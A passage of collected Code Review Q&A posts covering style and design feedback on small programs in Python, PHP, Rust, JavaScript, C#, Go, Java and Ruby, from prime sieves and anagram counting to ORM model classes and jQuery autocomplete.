        timing out. May also be less than 1; a timeout of 0.5 corresponds to
        half a second.
      - chunk_size (int) = 1024: The size of the chunks to receive, in bytes.
        Commonly a multiple of 2 (1024, 2048, 4096). When in doubt, do not
        change.

    Return:
      - (str): The HTTP response.
    """
    url = urlparse.urlparse(url)
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout)
        sock.connect((url.netloc, url.port or 80))
        sock.sendall("GET {0} HTTP/1.0 {1}".format(url.path or "/", CRLF))
        data = receive_all(sock)
    finally:
        sock.shutdown(socket.SHUT_RDWR)
        sock.close()
    return data

if __name__ == "__main__":
    print(get("http://www.google.com/robots.txt", chunk_size=65535))

References

1 PEP-8: String Quotes

2 PEP-8: Blank Lines


Conditionally truncating a filename to a max length without damaging the file extension Yes, I'm bad at conditionals. I don't use them so much and I feel a bit lost with them. How would you (if possible) refactor or change this little piece of code?

Second improved version:

$MAX_FNAME_LEN   = 255;
$clientFilename  = $this->file->getClientOriginalName();
$clientExtension = $this->file->guessExtension();

// Assume a failure in reading client filename
$defFilename = $defRandFilename = uniqid('fid_', true);

if(!is_null($clientFilename))
{
    $clientFilenameLength = strlen($clientFilename);
    $hasClientExtension   = !is_null($clientExtension);

    $removeFromEnd = $hasClientExtension ? - (1 + strlen($clientExtension)) : 0;
    $appendAtEnd   = $hasClientExtension ? ".$clientExtension" : '';

    if($clientFilenameLength > $MAX_FNAME_LEN) // Truncate original filename
    {
        $excessFromEnd = $MAX_FNAME_LEN - $clientFilenameLength - $removeFromEnd;
        $defFilename   = substr($clientFilename, 0, $excess) . $appendAtEnd;
    }
    else
        $defFilename  = $clientFilename; // User original filename

    if(strlen($defRandFilename) + abs($removeFromEnd) > $MAX_FNAME_LEN) // Truncate sanitized
        $defRandFilename = substr($defRandFilename, 0, $removeFromEnd) . $appendAtEnd;
    else
        $defRandFilename .= $appendAtEnd; // Use sanitized plus extension
}

Use early exit: reverse the null-checking conditional and return.

if(is_null($clientFilename))
    return;

If your code isn’t in a function, change that.

Next, use consistent indentation for the else: it belongs on the same level as the if, not as the content of the if.

I’d also encourage you to follow general usage in PHP, i.e. to use the braced if style even though I agree with you that the other style is fundamentally more readable.

I’d also get rid of unnecessary variables such as $clientFilenameLength, and of magic constants (255). And as a small clean-up, use string interpolation instead of concatenation where it makes sense.

That leaves us with:

define('MAX_LENGTH', 255);
$clientFilename  = $this->file->getClientOriginalName();
$clientExtension = $this->file->guessExtension();

// Assume a failure in reading client filename
$defFilename = $defRandFilename = uniqid('fid_', true);

if(is_null($clientFilename))
    return;

// Remove strlen($clientExtension) + 1 chars from the end
$hasClientExtension = !is_null($clientExtension);
$removeFromEnd = $hasClientExtension ? 1 + strlen($clientExtension) : 0;
$appendAtEnd = $hasClientExtension ? ".$clientExtension" : '';

if(strlen($clientFilename) > MAX_LENGTH)
    $defFilename = substr($clientFilename, 0, -$removeFromEnd) . $appendAtEnd;
else
    // User original upload name
    $defFilename  = $clientFilename;

if(strlen($defRandFilename) + $removeFromEnd > MAX_LENGTH)
    $defRandFilename = substr($defRandFilename, 0, -$removeFromEnd) . $appendAtEnd;
else
    // Use random file name plus .ext
    $defRandFilename .= $appendAtEnd;

But this code probably doesn’t do what you want: the whole check for strlen($clientFilename) is a red herring because the result will not be truncated. It will remove (a string of the length of) the client extension, and subsequently replace it. Is that really what you intended?


Prime Sieve in Rust (Sieve of Eratosthenes) I am learning Rust and I decided to make a prime sieve program. It works and has comparable performance to my equivalent C program.

I am new to Rust so I would like some feedback on my code. In particular, is my code in the correct Rust style?

I am aware of some changes to make the algorithm faster, but I would prefer feedback on the style of Rust code instead.

use std::env;
use std::fs::File;
use std::io::{Write, BufWriter};

fn prime_sieve(n: usize, ofile: &String) -> u32 {
    let f = File::create(ofile).expect("Unable to create file");
    let mut f = BufWriter::new(f);

    let mut prime_mask: Vec<bool> = vec![true;n];
    prime_mask[0] = false;
    prime_mask[1] = false;
    let mut p = 2;  // First prime number

    let mut count = 0;  // Total number of primes found
    let mut i;

    // Main sieve loop
    while p<n {
        if prime_mask[p] {
            f.write_all(format!("{}\n",p).as_bytes())
                .expect("Unable to write to file");
            count+=1;
            i=2*p;
            while i<n {
                prime_mask[i] = false;
                i += p;
            }
        }
        p+=1;
    }
    count
}

fn main() {
    let args: Vec<String> = env::args().collect();
    let n: usize = args[1]
        .trim()
        .parse()
        .expect("Wanted a number");
    let ofile = &args[2];
    let np = prime_sieve(n,ofile);
    println!("Found {} primes less than {}. Wrote to {}", np, n, &args[2]);
}

Learn to love rustfmt.

Spaces go around operators

- count+=1;
+ count += 1;

- i=2*p;
+ i = 2 * p;

- while i<n {
+ while i < n {

Spaces go between function arguments

- let np = prime_sieve(n,ofile);
+ let np = prime_sieve(n, ofile);

Spaces go after the ; in array and Vec declarations.

- vec![true;n];
+ vec![true; n];

Do not take a &String, take a &str instead.
There's no need to specify the type of prime_mask at all, inference can handle it.
Instead of comments, make your code tell the story. Introduce constants with names and rename existing variables.
"N" usually infers a count of something. For prime numbers, I'd expect N to mean "return me the first N primes". In this case, it's "check the first N numbers to see if they are prime". A better name would help communicate that.
Do not declare variables with a wider scope than you need. i can be declared where it is initialized.
Loops where you add one each iteration can be replaced with range-based for loops. Note that this removes mutability from your code.
Use write! instead of allocating a String and writing that.
Use writeln! instead of specifying the newline yourself,
There's no need to specify the inner type of the args vector. Use _ to let the compiler infer it.
Instead of hard-coding the concept of "files" into your prime_sieve function, accept any type that implements Write. Makes it easier to test.

use std::env;
use std::fs::File;
use std::io::{Write, BufWriter};

fn prime_sieve<W>(max_number_to_check: usize, mut output: W) -> u32
    where W: Write
{
    let mut prime_mask = vec![true; max_number_to_check];
    prime_mask[0] = false;
    prime_mask[1] = false;

    let mut total_primes_found = 0;

    const FIRST_PRIME_NUMBER: usize = 2;
    for p in FIRST_PRIME_NUMBER..max_number_to_check {
        if prime_mask[p] {
            writeln!(output, "{}", p).expect("Unable to write to file");
            total_primes_found += 1;
            let mut i = 2 * p;
            while i < max_number_to_check {
                prime_mask[i] = false;
                i += p;
            }
        }
    }

    total_primes_found
}

fn main() {
    let args: Vec<_> = env::args().collect();
    let n: usize = args[1].trim().parse().expect("Wanted a number");

    let ofile = &args[2];
    let f = File::create(ofile).expect("Unable to create file");
    let f = BufWriter::new(f);

    let np = prime_sieve(n, f);

    println!("Found {} primes less than {}. Wrote to {}", np, n, ofile);
}

For your usage, a Vec<bool> wastes space. Each bool is one byte, of which you are using a single bit. Instead, there are efficient bit vector crates which pack the data much tighter.

  isn't there an advantage to explicitly putting in the types as it adds self documentation to the program? I come from Haskell which also has inferred typing but explicit type signatures are encouraged.

Explicit type signatures are required in Rust; you cannot infer the argument or return types of a function. Rust learned from Haskell here and avoided the problem of spooky action at a distance that can occur if you don't provide signatures.

Inference inside a function is quite idiomatic. There are times where you need to be explicit (such as the collection type to collect into), but beyond that, I shy away from listing any types.

I've a feeling this is something that changes as you grow accustomed to Rust. Beginners are more likely to sprinkle types about, then you learn to trust and rely on inference.

If there's ambiguity, it may be something that improving the variable name can help. As an example, to me a "mask" is a integral number that is applied using bitwise operations to another integer. I wouldn't expect for it to be a Vec.

I also use highly dynamic languages like Ruby where there are no static types, so the lack of types inside a function is not outrageous.

  For Vec<bool> types, are they always a waste of space to use? Is there a case where they should be used instead of bit-vec types?

Every data structure has tradeoffs. The primary one I'm aware of is that a bit vector does not allow you to get a reference to the specific boolean value because a boolean doesn't really exist.


More elegant way to count anagrams in Python? Question

I feel like my code could be more elegant/more pythonic/faster, but I can't think of too much more to improve. So, I've come to the internet to see what more can be done with standard python.

What my code does

My code counts anagrams for each word in a list of words. For example:

post, spot stop, tops

are four of the words in my list and since all are anagrams of each other, each word should map to the number 4 in a dictionary. Specifically I'm counting the size of the anagram group each word would fit in. The output for a few words would look something like the following then:

{'1-2-3': 1,
 '1980s': 1,
 '1990s': 1,
  ...
  ...
 'top': 1,
 'topic': 2,
 'topics': 1,
 'topped': 1,
 'tops': 4,
 'tory': 2,
 'total': 1,
 'totals': 1,
 'touch': 1,
 'tough': 2,
  ...
  ...
 'zone': 1,
 'zones': 1,
 'zurich': 1}

My code

from itertools import permutations
from collections import Counter

def get_variants(word):
    return map(lambda t: "".join(t), set(permutations(word)))

def count_anagrams(words):
    anagram_counts = {w: 1 for w in words}

    word_counters = list(map(Counter, words))

    for i, (word, counter) in enumerate(zip(words, word_counters)):
        for other_word, other_counter in zip(words[i+1:], word_counters[i+1:]):
            if counter == other_counter:
                anagram_counts[word] += 1
                anagram_counts[other_word] += 1

    return anagram_counts

Performance (Language independent)

The permutations scale factorially with the word length and your loop code squares quadratically with the number of words.
Both are really bad scaling factors.
The nice thing to realize, that all equivalent anagrams map to the same multiset.
There are python libraries for multisets, but already with the built-in tools you can go a long way.
Two strings are equivalent, under "Anagram-relation", if they are the same after sorting. We will treat the sorted string as representation of our Anagram equivalence class. Since strings are immutable you can even use these represantions directly as dictionary keys.

Your code becomes then quite short

from collections import defaultdict

def count_anagrams(words):
    result = defaultdict(list)
    for word in words:
        result[''.join(sorted(word))].append(word)
    return dict(result)

This scales linearly with word number and (n * log(n)) with word length. (Under the assumption that dictionary insertion is O(1) and sorted uses a reasonable sorting algorithm.).

The output of

count_anagrams(['stop', 'test', 'post'])

is then

{'opst': ['stop', 'post'], 'estt': ['test']}

You can change it to your needs by transforming it to your desired output with len etc.

If you want to convert it to the exact same form as you have it, one example function would be:

def convert_output(words_in_anagram_class):
    return {word: len(words)
            for words in words_in_anagram_class.values()
            for word in words}

Then you can call convert_output(count_anagrams(words)). If you want to, you can combine these two functions into one.
(Although this is IMHO a far less useful representation of your data.)

Small stuff (Python nitpicks)

map can and should be replaced with comprehensions. Especially if you cast the result into a list.
[f(x) for x in iterable] is far nicer to read than list(map(f, iterable)).
If you really want a generator, there are also generator expressions
(f(x) for x in iterable).


Solving Robot Paths with Pascal's Triangle I wanted to take on the challenge of the classic Robot Path's problem but solve it using Pascal's triangle.  The approach was generate pascal's triangle, then grab the middle element from the row. I saw the following pattern:

//where combos are on pascal's triangle:
// 1x1 grid on the 1st line ===> 1
// 2x2 grid on 3rd line==> 2
// 3x3 grid on 5th line ===> 6
// 4x4 grid on 7th line ===> 20
// 5x5 grid on the 9th line ===> 70
// 6 x6 on the 11th line ===> 252

and so made my getPaths() function accordingly:
     var tri = pascal(n * 2);

function getPaths(n) {

  if (n === 1) {
    return 1;
  }

  if (n === 0) {
    return 0;
  } else {
    var oddElement = (n + (n - 2));
    var mid = Math.floor(tri[oddElement].length / 2);
    // console.log(oddElement);
    return tri[oddElement][mid];
  }

}

Below is the entire function. what could I have done better?

    //Using pascal's triangle to get all unique paths on a board, where only moves are down and to the right:

//generate Pascal's triangle.
function pascal(n) {
  function pascalHelper(n, arr) {
    if (n < 2) {
      return arr;
    }
    var prevTier = arr[arr.length - 1];
    var currTier = [1];
    for (var i = 1; i < prevTier.length; i++) {
      currTier[i] = prevTier[i] + prevTier[i - 1];
    }
    currTier.push(1);
    arr.push(currTier);
    return pascalHelper(n - 1, arr);
  }
  return pascalHelper(n, [
    [1]
  ]);
}

function getPaths(n) {
var tri = pascal(n * 2);
  if (n === 1) {
    return 1;
  }

  if (n === 0) {
    return 0;
  } else {
    var oddElement = (n + (n - 2));
    var mid = Math.floor(tri[oddElement].length / 2);
    // console.log(oddElement);
    return tri[oddElement][mid];
  }

}
//observed pattern: triangle has to be twice as long as the number of paths.
console.log(getPaths(7));
//where combos are on pascal's triangle:
// 1x1 grid on the 1st line ===> 1
// 2x2 grid on 3rd line==> 2
// 3x3 grid on 5th line ===> 6
// 4x4 grid on 7th line ===> 20
// 5x5 grid on the 9th line ===> 70
// 6 x6 on the 11th line ===> 252

You can collapse the two base cases (n === 1 and n === 0) in getPaths() into one n < 2 condition, which then also matches the base case used in pascal().

Also Pascal's triangle only needs to be calculated if n is more than 1, so the call to pascal() can be put into the else-clause rather than at the beginning of the function.

function getPaths(n) {
    if (n < 2) {
        return n;
    } else {
        var tri = pascal(n * 2);
        var oddElement = (n + (n - 2));
        var mid = Math.floor(tri[oddElement].length / 2);
        // console.log(oddElement);
        return tri[oddElement][mid];
    }
}


Implementing Search method For a Class In my web app, I have a view where users can search in receipts and drafts.

I've implemented this ability in search method at my view model, but I'm not sure if this is the best place to put it. So I'll let you take a look at it.

public class ProductCardSearchViewModel
{
    public IEnumerable<ProductCardRowViewModel> Search()
    {
        GenericRepository<Rows> repo = new GenericRepository<Rows>();
        var temp = repo.GetAll();

        if (this.Warehouse != 0)
            temp = temp.Where(x => x.Head.Warehouse == this.Warehouse );
        if (ProductCode > 0)
            temp = temp.Where(x => x.ProductCode == this.ProductCode );
        if (!string.IsNullOrEmpty(this.UnitCode))
            temp = temp.Where(x => x.UnitCode .Equals(this.UnitCode));

        List<ProductCardRowViewModel> data = new List<ProductCardRowViewModel>();

        foreach (Rows row in temp)
            data.Add(new ProductCardRowViewModel(row));

        return data;
    }

    [Display(Name = "")]
    public long Warehouse { get; set; }

    [Display(Name = "")]
    public string UnitCode { get; set; }

    [Display(Name = "")]
    public long ProductCode { get; set; }
}

Please feel free to suggest any improvements in this code. I'm not much interested to stick with design patterns, but I like to have SOLID code, and I'm kind of sure that this one is not!

public IEnumerable<ProductCardRowViewModel> Search()
{
    GenericRepository<Rows> repo = new GenericRepository<Rows>();
    var temp = repo.GetAll();

    if (this.Warehouse != 0)
        temp = temp.Where(x => x.Head.Warehouse == this.Warehouse );
    if (ProductCode > 0)
        temp = temp.Where(x => x.ProductCode == this.ProductCode );
    if (!string.IsNullOrEmpty(this.UnitCode))
        temp = temp.Where(x => x.UnitCode .Equals(this.UnitCode));

    List<ProductCardRowViewModel> data = new List<ProductCardRowViewModel>();

    foreach (Rows row in temp)
        data.Add(new ProductCardRowViewModel(row));

    return data;
}

omitting braces {} in places where they are optional is bad practice and leads to error prone code.
in its current state this method is returning for Warehouse == 0, ProductCode == 0 and for instance UnitCode == string.Empty all items. If this is what you want then IMO a comment should describe this behaviour.
you are sometimes using this and sometimes you don't. Choose one style and stick to it.
I would add a ToList() to temp in the loop. And by the way temp is a really bad name.
instead of building the returned value as a List<T> you could simply use yield return. If you want to keep the List you should at least use var.

Applying the mentioned points would lead to

public IEnumerable<ProductCardRowViewModel> Search()
{
    GenericRepository<Rows> repo = new GenericRepository<Rows>();
    var rows = repo.GetAll();

    if (this.Warehouse != 0)
    {
        rows = rows.Where(x => x.Head.Warehouse == this.Warehouse );
    }

    if (this.ProductCode > 0)
    {
        rows = rows.Where(x => x.ProductCode == this.ProductCode );
    }

    if (!string.IsNullOrEmpty(this.UnitCode))
    {
        rows = rows.Where(x => x.UnitCode.Equals(this.UnitCode));
    }

    foreach (Rows row in rows.ToList())
    {
        yield return new ProductCardRowViewModel(row);
    }
}


Finding MinMax values and returning a tuple as a result I was coding some tooling stuff when I started to ponder whether the best return type for a Range / MinMax method applied on a IEnumerable method.

I am using the value the C# 7 Tuples like below, but tempted to create my own class with readonly fields.

    public static (TSource Min, TSource Max) MinMax<TSource>(this IEnumerable<TSource> source, IComparer<TSource> comparer)
    {
        using (var sourceIterator = source.GetEnumerator())
        {
            if (!sourceIterator.MoveNext())
            {
                throw new InvalidOperationException("Sequence contains no elements");
            }

            var max = sourceIterator.Current;
            var min = sourceIterator.Current;

            while (sourceIterator.MoveNext())
            {
                var candidate = sourceIterator.Current;

                if (comparer.LeftStrictlyLesserThanRight(candidate, min))
                {
                    min = candidate;
                }

                if (comparer.LeftStrictlyGreaterThanRight(candidate, max))
                {
                    max = candidate;
                }
            }

            return (min, max);
        }
    }

Utilities are defined as below:

internal static class ComparerExtensions
{
    public static bool LeftStrictlyGreaterThanRight<T>(this IComparer<T> comparer, T left, T right)
    {
        return comparer.Compare(left, right) > 0;
    }
    public static bool LeftStrictlyLesserThanRight<T>(this IComparer<T> comparer, T left, T right)
    {
        return comparer.Compare(left, right) < 0;
    }
}

What do you think is the best, knowing that creating a reference type would bring some additional allocations and GC work (I mean that was the whole point to have struct-like tuples in C# 7). What bothers me with the tuple is that fields are not readonly and we cannot prevent users of the method to mess up and break flow.

I don't know maybe it's just me and my over-defensive coding style and bad experience using Python where coders are considered as "adults"?

What bothers me with the tuple is that fields are not readonly and we cannot prevent users of the method to mess up and break flow.

We cannot prevent everything and sometimes it's just easier and quicker to use the simplest solution like tuples in this case. You can always switch to something more complex if necessary but it's good to start by following the YAGNI principle.

  I was coding some tooling stuff

It depnds on what kind of tooling stuff your are coding. If this is some tiny helper then I'd go with tuples. If I was creatng a general purpose library then and big type would be better. You could validate the parameters and make sure that min <= max etc.

As an example you can take a look at my generic Range.cs that is supported by expressions to be able to work with any comparable type BinaryOperation.cs.

Regarding your ComparerExtensions I start with what I already said in my comment: LeftStrictlyLesserThanRight - I think virtually all programming languages call this just less-than and its counterpart less-than-or-equal.

I also find the extensions are not intuitive. They should be extensions on the T and not on the comparer like that:

x.LessThen(y)

and/or

x.LessThen(y, comparer)

It's more natural (and shorter) to write than

comparer.LeftLessThenRight(x, y)

This means you can create two pairs of these extensions for each operation.

public static bool LessThen<T>(this T x, T y) where T : IComparable<T>
public static bool LessThen<T>(this T x, T y, IComparer<T> comparer)

one that uses the interface IComparable implemented by T and the other one that uses a custom comparer.


Project Euler 10: Summation of primes in Go Here is my first try at Google's Go language, trying to solve Project Euler Problem 10:

  The sum of the primes below 10 is 2 + 3 + 5 + 7 = 17.

  Find the sum of all the primes below two million.

Any suggestions on the style and usage (best practice) of Go?

package main

import "fmt"

var primes = []uint64{2, 3}

func CheckIfIsNewPrime(number uint64) bool {
    check_if_number_is_new_prime := false
    var remainder uint64 = 0

    for i := range primes {
        remainder = number % primes[i]
        if remainder == 0 {
            check_if_number_is_new_prime = false
            break
        } else {
            check_if_number_is_new_prime = true
        }
    }
    return check_if_number_is_new_prime
}

func FindNewPrime() uint64 {
    for counter := primes[len(primes)-1]; ; counter += 2 {
        if CheckIfIsNewPrime(counter) == true {
            return counter
        }
    }
    return 0
}

func main() {
    limit := 2000000
    var sum uint64
    sum = 5

    for i := 2; i < limit; i++ {
        primes = append(primes, FindNewPrime())
        sum += primes[len(primes)-1]
    }

    fmt.Println("sum: ", sum)

}

Algorithm : really important

What you want to to is to use the Sieve of Eratosthenes because you already know an upper bound for the biggest number you're going to consider. Getting all the primes smaller than 2 millions is going to be straightforward.  This will solve your process took too long issue.

Other things not as important

You could probably write the following function :

func CheckIfIsNewPrime(number uint64) bool {
    check_if_number_is_new_prime := false
    var remainder uint64 = 0

    for i := range primes {
        remainder = number % primes[i]
        if remainder == 0 {
            check_if_number_is_new_prime = false
            break
        } else {
            check_if_number_is_new_prime = true
        }
    }
    return check_if_number_is_new_prime
}

in a more concise way (no real impact on performance)

func CheckIfIsNewPrime(number uint64) bool {
    for i := range primes {
        if number % primes[i] == 0 {
            return false
        }
    }
    return true
}

I don't know anything about Go, but I guess

if CheckIfIsNewPrime(counter) == true {

could be written as

if CheckIfIsNewPrime(counter) {

As you go further in Project Euler, you'll see that most of the problem is to find the algorithm you want to use and not really to implement it.


Handling Queries with Custom Classes Once a project gets bigger than a couple pages you don't want to have to call up every single page and do find & replace every time there's a change in the database structure. At least, I don't!

My solution has been to make a db handle class series that contains names as variables and queries as methods. But, I'm not very good with classes. I think I'm not coming at it from the right direction.

Sample:

class Users {
    //table
    protected $users = 'users';
        //columns
        protected $user_id = 'user_id';
        protected $username = 'user_name';
        protected $password = 'user_password';
}

class Emails extends Users {
    protected $emails = 'emails';
        protected $address = 'email_address';
        protected $confirm = 'email_confirmed';
        //the foreign key user_id is already defined in users

    function getUserEmail($username) {
        $join = junct([$this->users, $this->emails], $this->user_id);
        $sql = select($join, [$this->address], [$this->username]);
        $result = prepped_query($sql, $username);
        return $result;
    }
}

$x = new Emails();
$email = $x->getUserEmail($username);

One problem so far is that by having a class per table, I can use inheritance for one-to-many tables but many-to-many tables I can't inherit both. It makes awkward joins and forces prioritization where there sometimes isn't.

I have a couple ideas how I could restructure (defining all tables and names in one parent class with methods in children is one idea) but I don't know that any of them would actually be better, and they could have their own problems. Suggestions appreciated.

I am challenged by a few things here:

First the inheritance model makes no sense in real world terms.  Why would an email class inherit from a user class?  Try to think in real-world terms about the objects in your system and you will more often than not, end up with a better design.  Here I would think that a user class could have a property that holds the email object(s) that belong to the user, but I don't see how an email, when defined in terms of it's own object would inherit from a user, which would have a wholly separate set of properties it has and actions (methods) it can perform than what an email object does.  So why use inheritance here at all?
You don't really consider what might truly be common amongst two wholly different objects that exist in your database, that might be points for common inheritance.  What do users and emails have in common?

They both represent a database table
They both have columns
They both have some unique index field
They likely both need methods to populate (saturate) the object based on some lookup criteria (by unique id for example).

So what does this mean?  It means you probably want to consider having a base class (typically abstract ) that is usually what is called a "model" (the "M" part of "ORM" as mentioned in the comments to the question above).  A typical model class might present some skeleton functionality like:

table property (or class constant) that defines the table in DB that the class represents
primary_key property (or class constant) the defines the primary key field for the table
various class properties (or an array/object of properties) that represent the field available on the object
a findById() method that does basic primary key lookup and object saturarion that might have a common implementation amongst inheriting models.
a delete() method
other methods that might represent common object behavior.

A very simple model skeleton might look like

abstract class Model
{
    // DB schema fields
    protected static $table = null;
    protected static $primaryKey = null;
    // could also have other static field like
    // properties to express relationships (foreign key/tables)
    protected static $hasMany = null;
    protected static $belongsTo = null;

    public function __construct($primaryKey = null) {
        // optional allow instantiation by passing primary key
        if (!is_null($primaryKey)) {
            return self::getByPrimaryKey($primaryKey);
        }
    }

    public static function getByPrimaryKey($primaryKey) {
        self::validatePrimaryKey($primaryKey);
        $fields = self::getObjectFields(true);
        // here is simple case
        // perhaps this code varies if there are relationships and you want to
        // populate related objects as well here.
        $sql = '
SELECT `' . self::$primaryKey .'` AS id, `' . implode('`, `', $fields) . '`
FROM `' . self::$table . '`
WHERE `' . self::$primaryKey . '` = :id
LIMIT 1';

        // not shown - execute prepared statement against DB using $sql
        // assume data is populated into $row
        // saturate and return object if successful
        $returnObj = new self();
        foreach($row as $field => $value) {
            $returnObj->{$field} = $value;
        }
        return $returnObj;
    }

    // override if you need to "hide" certain fields from being saturated
    // requires PHP >= 5.3.0 due to reliance on late static binding
    public static function getObjectFields() {
        $properties = get_object_vars(get_called_class());
        // remove id field, which we will consider as standard field name for
        // primary key and thus needing special treatment
        unset($properties['id']);
        return array_keys($properties);
    }

    // override this function on per-class basis if primary key is not
    // integer value
    public static function validatePrimaryKey($primaryKey) {
        if (!is_int($primaryKey)) {
            throw new InvalidArgmuentException(
                'Integer primary key value required.'
            );
        }
    }

    // maybe some other function you want to force inheriting class to implement
    public static abstract function create() {}
    public static abstract function delete($primaryKey) {}
    public abstract function update() {}
    // etc.
}

class User extends Model
{
    protected static $table = 'users';
    protected static $primaryKey = 'user_id';
    protected static $hasMany = [
        // field name => class info
        'emails' => [
            'class' => 'Email',
            'key' => ['email_id']
         ]
    ];

    protected $id = null;
    protected $name = null;
    protected $passwordHash = null;
    protected $emails = [];

    // perhaps override here to provide logic to also saturate emails
    // if you did not implement that generically in Model
    public static function getByPrimaryKey($primaryKey) {
        // some logic
    }

    // implement abstract functions from base class
    public static function create() {
        // some logic to create a new DB record of this type
    }

    public static function delete($primaryKey) {
        // some logic to delete object of given primary key from DB
    }

    public function update() {
        // some logic to persist object state to DB
    }

    // perhaps some custom methods
    public static function getUserByEmail() {
        // would require working with relate email table a condition for
        // returning User object
    }

    // perhaps some logic to retrieve use object based on login credential
    // or return null if invalid
    public function getUserByLogin($username, $password) {
       // some logic
    }

    // and so on...

    // some getters
    public getName() {
        return $this->name;
    }

    public getPassswordHash() {
        return $this->passwordHash;
    }

    public getEmails() {
        return $this->emails;
    }

    // and so on...
}

class Email extends Model
{
    protected static $table = 'emails';
    protected static $primaryKey = 'email_id';
    protected static $belongsTo = [
        'User'
    ];

    protected $address = null;
    protected $confirmed = null;

    // not shown - implement abstract methods
    // not shown - getters
}

Again, this is pretty basic representation of a typical model inheritance approach.  You can look into popular PHP ORM's to get more full-featured behavior and to get a better idea for how they handle table realtionships and such.

By the fact that you are using password field instead of passwordHash or similar, I am wondering if you are not properly hashing your passwords. This should be considered mandatory for storage of password data.


Comparing two Strings which could be null or blank in a Comparator I would like a review of how I am comparing two java.util.String in a private method in a java.util.Comparator.  Either of the Strings could be null or blank, and would be "less than" the other String if that other String were not null/blank.

My gut feeling is that this is at the very least inelegant, probably difficult to read, and at worst inefficient if it had to be done millions of times per second.  Oh, and there could even be a flaw in the logic!

Is there a better way to do this?

private Integer compareDateStrings(BeanToDoTask arg0, BeanToDoTask arg1, String strProperty) {

    /* Don't worry too much about this part. */
    String strDate0 = BeanUtils.getProperty(arg0, strProperty); _logger.debug("strDate0 = " + strDate0);
    String strDate1 = BeanUtils.getProperty(arg1, strProperty); _logger.debug("strDate1 = " + strDate1);
    /* If strDate0 is null or blank and strDate1 is not, then strDate1 is greater. */
    if ((strDate0 == null || strDate0.equals(""))) {
        if (strDate1 != null && !strDate1.equals("")) {
            return -1;
        } else {
            /* They both are null or blank! */
            return 0;
        }
    }
    /* We know strDate0 is not null or blank. */
    if (strDate1 == null || strDate1.equals("")) {
        return 1;
    }
    /* At this point neither strDate0 or strDate1 are null or blank, so let's compare them. */
    return strDate0.compareTo(strDate1);
}

I would use boolean variables to make the code more readable:

private int compareDateStrings(BeanToDoTask arg0, BeanToDoTask arg1, String strProperty) {
    /* Don't worry too much about this part. */
    String strDate0 = BeanUtils.getProperty(arg0, strProperty); _logger.debug("strDate0 = " + strDate0);
    String strDate1 = BeanUtils.getProperty(arg1, strProperty); _logger.debug("strDate1 = " + strDate1);

    boolean isStrDate0Empty = (strDate0 == null || strDate0.isEmpty());
    boolean isStrDate1Empty = (strDate1 == null || strDate1.isEmpty());

    if (isStrDate0Empty && isStrDate1Empty)
        return 0;
    // at least one of them is not empty
    if (isStrDate0Empty)
        return -1;
    if (isStrDate1Empty)
        return 1;
    //none of them is empty
    return strDate0.compareTo(strDate1);
}


Dependency on overridden method In my code I have a base type which is OnlinePaymentTransaction:

public abstract class OnlinePaymentTransaction
{
     public abstract void Complete( PaymentGatewayCallbackArgs args );
}

The problem I am having is that each class that inherits from this base class require different dependency's in the complete method. Currently I have just added the dependency's as extra parameters to the complete method which doesn't seem right. For example my base class is now like this.

public abstract class OnlinePaymentTransaction
{
     public abstract void Complete( Dependency1 dep1, Dependency2 dep2, PaymentGatewayCallbackArgs args );
}

I cannot inject the dependency's in the constructor as the OnlinePaymentTransactions are retrieved from using nhibernate.

What would you recommend because I don't like using ServiceLocator as it hides the dependency and also makes it harder to test. An suggestions would be greatly appreciated.

I cannot inject the dependency's in the constructor as the OnlinePaymentTransactions are retrieved from using nhibernate.

There's your problem. Your OnlinePaymentTransaction class is/should-be a POCO whose job is to convey data. The Complete() method doesn't belong on that type, it's breaking SRP and making your life much harder than it needs to be.

I'd suggest to introduce another type, call it OnlinePaymentTransactionProcessor or whatever - that type will take the dependencies in its constructor, and have a Complete method that takes an OnlinePaymentTransaction instance.

Kudos for striving to avoid a Service Locator :)


Weekly job to create or update the lessons in all locations I'm working in a project with the following structure.

A location can have many timetables with many lessons.

I need to perform a job in all locations every sunday to create or update the lessons.

def perform(*args)
    locations = Location.all
    locations.each do |location|
      timetables = LocationLessonService.fetch(location.id)["timetables"]
      timetables.each do |timetable|
        lessons = timetable["lessons"]
        lessons.each do |lesson|
          Lesson.find_or_initialize_by(external_id: lesson['external_id'])
            .update_attributes(period.merge(location_id: location.id))
        end
      end
    end
  end

Is it possible to remove this nested iteration?Is it possible to optimize this function using the gem virtus or something else?

The code as written is fine.  And I say that as hater of all things nested.
One way or the other, you have nested loops.  One option is to retain that
structure explictly, as it currently is, but to clean it up by removing temporary
named variables that add clutter but not clarity:

def perform(*args)
  Location.all.each do |location|
    timetables = LocationLessonService.fetch(location.id)["timetables"]
    timetables.each do |timetable|
      timetable["lessons"].each do |lesson|
        Lesson.find_or_initialize_by(external_id: lesson['external_id'])
          .update_attributes(period.merge(location_id: location.id))
      end
    end
  end
end

What makes it difficult to tease these loops apart into named methods is
that the innermost loop references the location.id from the outermost loop.

That said, I'm wondering why the location isn't simply a property of the timetable?
Or can the same timetable exist in multiple locations?  Because if the location
were a property of the timetable, you wouldn't have the problem I mentioned in
the last paragraph.

That is to say, while I don't consider the code itself problematic, there may
be better ways to organize your data.  But it's hard to say without knowing more.


Empty an array on focusout - jQuery UI Autocomplete Is it good to empty an array on focusout?

var arr = [];
$("#automobil").focus(function() {
    $.getJSON("auto.json", function(data) {
        $.each(data, function(key, value) {
            if ($.inArray(value.name, arr) === -1) {
                arr.push(value.name)
            }
        })
    });
}).autocomplete({
    source: function (request, response) {
        var term = $.ui.autocomplete.escapeRegex(request.term)
            , startsWithMatcher = new RegExp("^" + term, "i")
            , startsWith = $.grep(arr, function(value) {
                return startsWithMatcher.test(value.label || value.value || value);
            })
            , containsMatcher = new RegExp(term, "i")
            , contains = $.grep(arr, function (value) {
                return $.inArray(value, startsWith) < 0 &&
                    containsMatcher.test(value.label || value.value || value);
            });

        response(startsWith.concat(contains));
    }
}).focusout(function() {
    arr = [];
});

In this case, auto.json isn't big, so arr[] isn't big either. But, in "real world examples", there can be large amounts of data, so the array needs to be empty on focusout (after the job is done), because of resources.

I believe this is a case of being too paranoid in optimization. Here's some problems:

Your arr is global. You should probably place this somewhere only the widget knows about.
You're clearning the array... by creating another array. You're spawning more objects (in this case, an array) instead of cleaning up. The proper way to clear an array is to set length to 0. If nothing references the items in the array, they'll get GC'ed eventually.
autocomplete, focus, and focusout can go out of sync. When you focus on the input, you do getJSON. However, your autocomplete will run regardless if the request has returned. So that means the array might be empty when autocomplete runs. When you focus out, you cleared your array, so if you focus in again, this happens.
